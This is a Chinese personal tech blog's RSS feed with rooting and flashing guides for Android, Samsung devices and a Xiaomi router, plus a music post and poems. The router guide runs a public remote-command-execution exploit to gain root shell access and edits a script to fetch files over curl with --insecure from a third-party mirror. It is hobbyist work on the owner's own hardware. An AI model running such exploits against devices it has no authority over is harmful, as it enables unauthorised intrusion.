&lt;li&gt;打开您的浏览器，输入&lt;code&gt;http://127.0.0.1:9090/ui/#/&lt;/code&gt;即可打开WebUI控制台，在这里您可以详细设置您的Surfing。
&lt;img src=&quot;./boxForMagisk/20250826-2.jpg&quot; alt=&quot;20250826-2.jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;关于启停 关闭Magisk模块后即可停止。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Surfing的部署到此完毕。&lt;/p&gt;
&lt;h2&gt;CONCLUSION&lt;/h2&gt;
&lt;p&gt;至此，我们通过 Box4Magisk 模块，我们超越了普通应用的限制，将 Clash 深植于系统底层，实现了真正全局、无感的网络代理。&lt;/p&gt;
&lt;p&gt;同时，我们也深入理解了其背后的工作原理，让「魔法」变成了可控的「技术」。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;%E5%A6%82%E6%9E%9C%E4%BD%A0%E6%98%AF%E4%B8%89%E6%98%9F%E7%94%A8%E6%88%B7%EF%BC%8C%E8%AF%B7%E7%9C%8B%E6%AD%A4%E7%AF%87blog::/2025/11/07/SurfingIssueOnSamsung/&quot;&gt;center large&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里是Chongxi，期待与您的下一次见面&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks For Watching.&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>Magisk</category><category>Proxy</category><author>Chongxi</author></item><item><title>在任何 Android 设备上使用圈定即搜</title><link>https://xice.cx/posts/circleToSearch/</link><guid isPermaLink="true">https://xice.cx/posts/circleToSearch/</guid><description>本文主要讲了如何在任意Android手机(包括国产厂商)上启用Google的圈定即搜功能</description><pubDate>Mon, 25 Aug 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Circle to Search&lt;/strong&gt; 是 Google 和 Samsung 联合推出的一项功能，让用户可以通过在屏幕上的任意位置进行圈选、高亮、涂鸦或点按，来快速搜索文字、图像或视频，而无需切换应用。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./circleToSearch/20250824.gif&quot; alt=&quot;20250824.gif&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关于圈定即搜 更深度的剖析可以去看看 &lt;a href=&quot;https://pwa.sspai.com/u/p2o51/overview&quot;&gt;@NNNNNatsu&lt;/a&gt; 大佬的文章：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pwa.sspai.com/post/97858&quot;&gt;Circle to Search, XOXO：「圈定即搜」功能交互解析与入门指南&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;MiCTS&lt;/h2&gt;
&lt;p&gt;正如 title，我们要在任意Android(≥9)设备上启用圈定即搜，需要借助一个LSPosed模块。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/parallelcc/MiCTS&quot;&gt;parallelcc/MiCTS&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;PREPARATION&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;已获取root权限的设备，并安装了LSPosed。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;LET&apos;S GO&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;安装MiCTS模块。&lt;/li&gt;
&lt;li&gt;打开LSPosed Framework，通常情况下，您可以从通知栏的入口进入。&lt;/li&gt;
&lt;li&gt;打开模块选项，找到MiCTS，启用，勾选推荐的作用域。
&lt;img src=&quot;./circleToSearch/20250825-1.jpg&quot; alt=&quot;20250825-1.jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;重启您的设备。&lt;/li&gt;
&lt;li&gt;将您的默认助理App更改为Google。一般情况下，您可以点击&lt;code&gt;设置&lt;/code&gt;&amp;gt;&lt;code&gt;应用&lt;/code&gt;&amp;gt;&lt;code&gt;默认应用程序&lt;/code&gt;中找到其选项。
&lt;img src=&quot;./circleToSearch/20250825-2.jpg&quot; alt=&quot;20250825-2.jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;您需要给Google应用取消后台限制，将电池优化更改为无限制，并允许自启动。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接下来您可以长按导航条，若&lt;code&gt;圈定即搜&lt;/code&gt;正常触发，那么恭喜，您省去了一半的麻烦。&lt;/p&gt;
&lt;p&gt;若未正常触发，那么我们需要额外的操作。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开 LSPosed 里的MiCTS页面，点击右下角的齿轮图标进入设置。&lt;/li&gt;
&lt;li&gt;可供参考的设置如下图，您可能需要授予其root权限。
&lt;img src=&quot;./circleToSearch/20250825-3.jpg&quot; alt=&quot;20250825-3.jpg&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接下来我们设置其触发方式（如果您无法正常长按导航栏触发）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;安装Xposed Edge(Pro) （您需要自行安装）&lt;/li&gt;
&lt;li&gt;在LSPosed Framework中启用 Xposed Edge，并重启其作用域。&lt;/li&gt;
&lt;li&gt;打开Xposed Edge，如下图设置。
&lt;img src=&quot;./circleToSearch/20250825-4.jpg&quot; alt=&quot;20250825-4.jpg&quot; /&gt;
&lt;img src=&quot;./circleToSearch/20250825-5.jpg&quot; alt=&quot;20250825-5.jpg&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接下来您可以再次尝试长按导航栏，他应该会像预期一样工作。&lt;/p&gt;
&lt;p&gt;若您遇到了bug，可以向MiCTS项目提交issue。&lt;/p&gt;
&lt;p&gt;这里是 Chongxi，期待与您的下一次见面。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-25&lt;/p&gt;
</content:encoded><category>LSPosed</category><category>Magisk</category><author>Chongxi</author></item><item><title>小米路由器3a刷入openWRT</title><link>https://xice.cx/posts/miWifi3aFlashWrt/</link><guid isPermaLink="true">https://xice.cx/posts/miWifi3aFlashWrt/</guid><description>小米路由器3A刷入OpenWRT操作指南</description><pubDate>Fri, 22 Aug 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;目前2025/08/22，这款路由器价格在十元到三十元之间，淘来刷软路由非常合适。&lt;/p&gt;
&lt;h2&gt;PREPARATION&lt;/h2&gt;
&lt;p&gt;需要下载的固件 ：&lt;a href=&quot;https://www.123684.com/s/fKi6Vv-rTrmH&quot;&gt;123684&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;需要的工具：termius，winSCP&lt;/p&gt;
&lt;h2&gt;刷入官改固件&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开MIWIFI后台，在系统维护页面手动上传升级固件&lt;code&gt;miwifi_r3a_all_da132_2.18.40.bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;等待升级完成。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;确认 Windows 版本&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10 至少2004，内部版本至少19041。&lt;/li&gt;
&lt;li&gt;Windows 11&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;开启与 WSL 相关的 Windows Features&lt;/h2&gt;
&lt;p&gt;开启 Windows Subsystem Linux 和 Virtual Machine Platform 并重启 Windows。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;以管理员运行 PowerShell。&lt;/li&gt;
&lt;li&gt;输入&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;您会得到如下输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;部署映像服务和管理工具
版本: 10.0.26100.1150

映像版本: 10.0.26100.4652

启用一个或多个功能
[==========================100.0%==========================]
操作成功完成。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -NoRestart

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Path          :
Online        : True
RestartNeeded : False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;您需要重启Windows。&lt;/p&gt;
&lt;h2&gt;安装WSL&lt;/h2&gt;
&lt;p&gt;输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --install

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来就像正常Ubuntu设定一样，设置账户和密码，密码不显示是正常的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;正在下载: Ubuntu
正在安装: Ubuntu
已成功安装分发。可以通过 “wsl.exe -d Ubuntu” 启动它
正在启动 Ubuntu...
Provisioning the new WSL instance Ubuntu
This might take a while...
Create a default Unix user account: xi
New password:
Retype new password:
passwd: password updated successfully
To run a command as administrator (user &quot;root&quot;), use &quot;sudo &amp;lt;command&amp;gt;&quot;.
See &quot;man sudo_root&quot; for details.

xi@SKYCHOW:/mnt/c/Users/33960$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ubuntu环境即部署成功&lt;/p&gt;
&lt;h2&gt;部署解锁工具&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在资源管理器中输入 &lt;code&gt;\\wsl.localhost\Ubuntu&lt;/code&gt; 进入Ubuntu文件管理，打开home/&amp;lt;这里的文件夹名称为您的用户名&amp;gt;/&lt;/li&gt;
&lt;li&gt;将&lt;code&gt;OpenWRTInvasion-0.0.10.tar.gz&lt;/code&gt;和&lt;code&gt;setup_openwrt_invasion.sh&lt;/code&gt;移动到该目录。&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;cd /home/xi&lt;/code&gt;命令，切换到该目录（自行更改xi为您的用户名）&lt;/li&gt;
&lt;li&gt;赋予执行权限&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo chmod +x setup_openwrt_invasion.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;输入以下命令&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;cd OpenWRTInvasion-0.0.10
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;更改库地址&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;nano script.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于原镜像失效，我们需要编辑download部分为如下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;download_file_from_github() {
    # Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250
    curl -L &quot;https://gitee.com/juserzhang/OpenWRTInvasion/tree/master/script_tools$1&quot; --insecure --output &quot;$2&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后&lt;code&gt;ctrl x&lt;/code&gt;退出&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;运行&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;python3 remote_command_execution_vulnerability.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现如下输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Router IP address [press enter for using the default &apos;miwifi.com&apos;]: 192.168.31.1
Enter router admin password: 12345678
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入您的IP和后台密码即可
接下来会出现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;There two options to provide the files needed for invasion:
   1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`.
   2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)
Which option do you prefer? (default: 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们输入2，回车即可运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;****************
router_ip_address: 192.168.31.1
stok: a80675f22f75d3281445ea2c2638f97e
file provider: remote github repository
****************
start uploading config file...
start exec command...
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.31.1
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@192.168.31.1
* ftp: using a program like cyberduck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现如上输出，那么恭喜您，这部分步骤成功。&lt;/p&gt;
&lt;h2&gt;刷入breed&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开termius，通过telnet连接您的路由器，用户和密码均为root&lt;/li&gt;
&lt;li&gt;查看并备份分区&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;cat /proc/mtd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;备份分区，留意factory跟BootLoader对应的mtd分区，需要备份的是factory和BootLoader&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dd if=/dev/mtd4 of=/tmp/eeprom.bin
dd if=/dev/mtd1 of=/tmp/Bootloader.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;打开WinSCP，协议选择FTP，主机名为路由器IP，密码和用户名为root。&lt;/li&gt;
&lt;li&gt;找到tmp目录，将&lt;code&gt;Bootloader.bin&lt;/code&gt;和&lt;code&gt;eeprom.bin&lt;/code&gt;复制到PC上。并把breed复制进tmp&lt;/li&gt;
&lt;li&gt;回到终端，cd进tmp目录，开始刷入breed&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;mtd write breed.bin Bootloader
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;刷入openwrt&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;确保电脑连接了路由器LAN，拔掉路由器电源。按住复位键，再插入电源，等待指示灯闪烁后，松手。&lt;/li&gt;
&lt;li&gt;输入&lt;code&gt;192.168.1.1&lt;/code&gt;进入breed后台，这里先查看mac，若mac地址不正常，刷入先前备份的eeprom。&lt;/li&gt;
&lt;li&gt;固件选择openwrt，刷入。这里我们使用的是bilibili@小渔学长编译的openwrt固件。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;成功&lt;/h2&gt;
&lt;p&gt;等待片刻，输入10.32.0.1，密码admin，进入openwrt后台，成功。&lt;/p&gt;
&lt;h2&gt;特别鸣谢&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.right.com.cn/forum/thread-4017759-1-1.html&quot;&gt;@没了钱咋办&lt;/a&gt;
&lt;a href=&quot;https://www.right.com.cn/forum/thread-4056716-1-1.html&quot;&gt;@Lonny_Lee&lt;/a&gt;
&lt;a href=&quot;https://www.liaronce.com/archives/1146&quot;&gt;@正在摸鱼的Liaronce&lt;/a&gt;
&lt;a href=&quot;https://github.com/acecilia/OpenWRTInvasion&quot;&gt;@acecilia&lt;/a&gt;
&lt;a href=&quot;https://www.right.com.cn/forum/thread-161906-1-1.html&quot;&gt;@hackpascal&lt;/a&gt;
&lt;a href=&quot;https://yuos.top/&quot;&gt;@小渔学长&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里是 Chongxi，期待与您的下一次见面。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-22&lt;/p&gt;
</content:encoded><category>Xiaomi</category><category>软路由</category><category>刷机</category><category>openWRT</category><author>Chongxi</author></item><item><title>三星手表跨版本连接指南</title><link>https://xice.cx/posts/samWatchConnectHelper/</link><guid isPermaLink="true">https://xice.cx/posts/samWatchConnectHelper/</guid><description>本文主要讲述了国行三星手表连接外版三星手机的操作方法</description><pubDate>Tue, 19 Aug 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;相信各位都遇到过这种情况：出于某种原因（比如esim）购买了国行Galaxy Watch，到手后发现无法与自己的港版（或其他版本）手机无法连接，连接时显示如下错误：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;此手机不支持该手表。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大多数给出的解决方案基本都是将手机/手表刷为其他版本的系统以进行连接，但是操作难度是比较高的（有一定局限性）&lt;/p&gt;
&lt;p&gt;本文将教各位如何跨版本连接三星手表（国港互通）&lt;/p&gt;
&lt;h2&gt;PREPARATION&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Galaxy Watch（这里以Watch6国行为例）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Samsung 手机（这里以港版One UI5.1为例）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Samsung 智能穿戴 App（版本号为2.2.29.20012861）&lt;em&gt;&lt;a href=&quot;https://www.123684.com/s/fKi6Vv-dVDmH&quot;&gt;你可以从这里下载&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;LET&apos;S GO!&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将您的Samsung Galaxy Watch设定为待配对状态（对其进行工厂重置）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;卸载手机里的Samsung智能穿戴App以及相关组件（比如watch6manager,Wear OS by Google）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装低版本Samsung智能穿戴（.20012861）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;断开一切互联网连接（WLAN/蜂窝移动数据），打开手机的蓝牙界面，点击您的Galaxy Watch进行配对。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过任意途径安装最新版Samsung智能穿戴，打开后您将会在 已配对的设备 中找到您的Galaxy Watch，直接点按即可进行设置。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;TIPS&lt;/h2&gt;
&lt;p&gt;由于国行Galaxy Watch阉割了Google服务，您可能会在复制Google账号时提示失败，跳过即可。&lt;/p&gt;
&lt;h2&gt;HOW IT WORKS?&lt;/h2&gt;
&lt;p&gt;原理非常简单，低版本的wearable是没有配对校验的，我们使用低版本对手表进行配对后，再使用高版本对其进行连接，即可完成手表手机的国港互通。&lt;/p&gt;
&lt;p&gt;这里是Chongxi，期待与您的下一次见面。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-19&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Watch</category><author>Chongxi</author></item><item><title>Knox Patch使用教程</title><link>https://xice.cx/posts/howToUseKnoxPatch/</link><guid isPermaLink="true">https://xice.cx/posts/howToUseKnoxPatch/</guid><description>本文主要讲述了如何使用Knox Patch来修复三星手机root后系统软件无法使用的问题</description><pubDate>Sun, 17 Aug 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;不是我喜欢的Knox 直接熔断&lt;/h3&gt;
&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;众所周知，三星因其独特的Knox熔断机制，使其解锁Bootloader的代价极其昂贵。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;失去保修：Knox熔断后，会失去原厂保修。&lt;/li&gt;
&lt;li&gt;无法使用部分功能：某些安全功能，如三星Pay、Knox安全保护等，会无法使用。即使你恢复原厂系统，部分功能仍可能无法恢复。系统应用基本死绝&lt;/li&gt;
&lt;li&gt;软件更新受限：由于设备被标记为已熔断，系统更新可能会受到限制或失败。（不过你都解bl了还需要OTA吗）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中最主要的还是系统app基本死绝，三星健康等应用无法使用，这个还是很肉疼的&lt;/p&gt;
&lt;p&gt;本文所介绍的Knox Patch便是为了解决这个问题诞生的。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/salvogiangri/KnoxPatch&quot;&gt;salvogiangri/KnoxPatch&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;需要下载的内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;KnoxPatch-v0.8.0.apk&lt;/li&gt;
&lt;li&gt;KnoxPatch-Enhancer-v0.4.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;FEATURE&lt;/h2&gt;
&lt;p&gt;Supported apps
✅ Auto Blocker&lt;/p&gt;
&lt;p&gt;➖ Galaxy Wearable (Gear Manager) (Enhancer required)&lt;/p&gt;
&lt;p&gt;✅ Samsung Cloud (FMM, Enhanced data
protection)&lt;/p&gt;
&lt;p&gt;✅ Samsung Flow&lt;/p&gt;
&lt;p&gt;✅ Samsung Health&lt;/p&gt;
&lt;p&gt;✅ Samsung Health Monitor&lt;/p&gt;
&lt;p&gt;➖ Samsung TV Plus (TrickyStore required)&lt;/p&gt;
&lt;p&gt;✅ Secure Folder (Enhancer might be required)
✅ Secure Wi-Fi&lt;/p&gt;
&lt;p&gt;✅ SmartThings&lt;/p&gt;
&lt;p&gt;➖ Smart View (Enhancer required)&lt;/p&gt;
&lt;p&gt;✅ Private Share*&lt;/p&gt;
&lt;p&gt;❌ Samsung Pass&lt;/p&gt;
&lt;p&gt;❌ Samsung Wallet (Pay)&lt;/p&gt;
&lt;h2&gt;SUPPORTED VERSIONS&lt;/h2&gt;
&lt;p&gt;One UI 1.x --&amp;gt; One UI 8.x
(Android 9 --&amp;gt; 16)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;tip&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于集成在 Quick Share 中，运行 One UI 5.1 或更低版本的设备可能需要PIF或类似程序才能使此功能正常工作。&lt;/p&gt;
&lt;p&gt;运行 One UI 2.x 或 3.x 且带有FBE 的旧版设备需要在系统分区中安装额外的补丁程序才能修复安全文件夹问题。请从最新版本下载模块 zip 文件并通过自定义 Recovery 安装，这将应用修复安全文件夹所需的补丁程序。该 zip 文件还会创建原始系统文件的备份，再次刷写即可恢复这些文件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;LET&apos;S GO&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;首先，确保您使用Magisk/Kernel SU/Apatch等su管理器获得了root权限，并安装了LSPosed模块&lt;/li&gt;
&lt;li&gt;在Magisk模块中，刷入&lt;code&gt;KnoxPatch-Enhancer-v0.4.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在LSPosed中，勾选所有推荐的应用。&lt;/li&gt;
&lt;li&gt;重启您的设备，此时您的Knox Patch将生效。您可以正常使用绝大多数系统app了&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;三星手机解锁bootloader代价极大，我们不推荐您解锁bootloader。绝大多数问题都可以使用shizuku和scene可以把不喜欢的系统应用都禁用，任何禁用都不会死机卡界面。&lt;/p&gt;
&lt;p&gt;相比之下，vivo的系统用一般的adb工具无效，小米是禁止应用特别容易死机卡界面。&lt;/p&gt;
&lt;p&gt;截至目前 OneUI 8已移除了OEM解锁选项，这意味着未来将不会再允许bootloader解锁。刷机的时代终要落幕了。&lt;/p&gt;
&lt;p&gt;这里是Chongxi，期待与您的下一次见面。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-19&lt;/p&gt;
</content:encoded><category>Samsung</category><category>刷机</category><author>Chongxi</author></item><item><title>推荐一下国人Neurofunk社团「神游 • NEUROMANCER」</title><link>https://xice.cx/posts/neuromancer/</link><guid isPermaLink="true">https://xice.cx/posts/neuromancer/</guid><description>本文介绍了「神游 • NEUROMANCER」社团的首个专辑「The Concealing Vol.1」</description><pubDate>Thu, 01 May 2025 23:39:10 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;「神游 NEUROMANCER」&lt;/strong&gt; 是由 Noir_D 组建的 专注于Neuro/DnB的同人音乐社团&lt;/p&gt;
&lt;p&gt;「The Concealing Vol.1」是此社团第一个release，由来自Diversesystem，留声唱片，2088等厂牌/社团的国内共12位一线制作人共同创作的叙事性牛肉饭盛宴&lt;/p&gt;
&lt;p&gt;:::blue[曲目列表]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The Concealing —Amonova&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Corrosion —Noir_D&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Doxa —Project_G&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;痴生 —Dirty Octopus &lt;em&gt;苟活者无以苟活&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LiMiMAL%VOiD —%IiLiUM &lt;em&gt;苦思者无以苦思&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Alaya —硝酸生菜 &lt;em&gt;修性者无以修性&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;朝聖 —Estrella &lt;em&gt;朝拜者无以朝拜&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;歸壹 —Sdklmr &lt;em&gt;窥日者无以窥日&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通靈 —Ac7i &lt;em&gt;贪食者无以贪食&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Neuropathy —Postt &amp;amp; Z1broad2 &lt;em&gt;嘶鸣者无以嘶鸣&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;離線 —FliZ
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;整专的制作水平&lt;strong&gt;非常顶级&lt;/strong&gt;，&lt;strong&gt;强到爆&lt;/strong&gt;，个人比较喜欢 Estrella 的 朝聖 ，很独特&lt;/p&gt;
&lt;p&gt;Drum &amp;amp; Bass知名曲师 Feint评价:
&lt;img src=&quot;./neuromancer/1.webp&quot; alt=&quot;feint&quot; /&gt;&lt;/p&gt;
&lt;p&gt;URL LINKS&lt;/p&gt;
&lt;p&gt;Spotify:&lt;a href=&quot;https://open.spotify.com/album/0vlUwkqXSc7Zv7CDfpoagU?si=uYi61_nhTgWjCG6Dst_fyA&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Apple music:&lt;a href=&quot;https://music.apple.com/jp/album/the-concealing-vol-1/1812567812&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;YouTube:&lt;a href=&quot;https://youtube.com/playlist?list=OLAK5uy_lxG1wtq0wqEGm-vik1mr5NIzdOSNSc3WM&amp;amp;si=QMhxc1IVjykyVF8m&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Dizzylab:&lt;a href=&quot;https://www.dizzylab.net/d/NEUROMANCER-01/&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;网易云音乐:&lt;a href=&quot;http://163cn.tv/Ehag88Y&quot;&gt;&amp;gt;link&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当█在实验室的第三面墙渗出时，我意识到我们犯了一个根本性错误。那不是红日，是█的瞳孔。我想起我的父亲在最后一次通讯中说找到了&quot;答案&quot;，但录音里只有十二小时不间断的牙齿碰撞声。&lt;br /&gt;
法医的解剖报告显示，第六具尸体没有消化系统，取而代之的是某种嵌套结构。&lt;br /&gt;
艾弗里，你是否看见过万物吞于红日，耀斑在凝视中生长？——我们称之为“█”。那是我的父亲、我的同胞、我的至友。循着███████留下残缺的躯壳和未完成的答案，我在走向牠。&lt;br /&gt;
艾弗里，我大概是最后一个还清醒的█学家，记录同僚们的癫狂与消失。物理学家因无数假说而癫狂，法医在无数个尸体解刨后抛弃科学，我清楚记得他们如何成为█。&lt;br /&gt;
现在轮到我了。&lt;br /&gt;
再见或者保重，艾弗里。踏入█的领域时，我感受到了他们——我明白这不是幻觉，因为他们的欢笑如此真实。神经沉淀在囊肿中，记忆溶于黯淡的蛞蝓汤。我们从未在探索它，而是被它接纳。&lt;br /&gt;
若█不要回█不█你听见这则录音，我代翳向你传递福音。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>音乐</category><category>Drum &amp; Bass</category><category>Neurofunk</category><author>Chongxi</author></item><item><title>无题 • 友</title><link>https://xice.cx/posts/log-fri/</link><guid isPermaLink="true">https://xice.cx/posts/log-fri/</guid><description>「故交疏断意难平」</description><pubDate>Sun, 11 Aug 2024 01:47:21 GMT</pubDate><content:encoded>&lt;p&gt;旧言难觅心难宁，岁月沉浮似梦迷。
历尽风霜棱角隐，故交疏断意难平。&lt;/p&gt;
&lt;p&gt;翻自己从前的动态有感而发。&lt;/p&gt;
</content:encoded><category>古诗</category><category>文学</category><author>Chongxi</author></item><item><title>无题 • 雨</title><link>https://xice.cx/posts/log-rain/</link><guid isPermaLink="true">https://xice.cx/posts/log-rain/</guid><description>「湿路独行映归魂」</description><pubDate>Thu, 08 Aug 2024 21:39:21 GMT</pubDate><content:encoded>&lt;p&gt;雷声轰鸣夜无垠，电闪幽风乱云根。
灯下光影碎雨痕，湿路独行映归魂。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;求赏析&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>古诗</category><category>文学</category><author>Chongxi</author></item></channel></rss>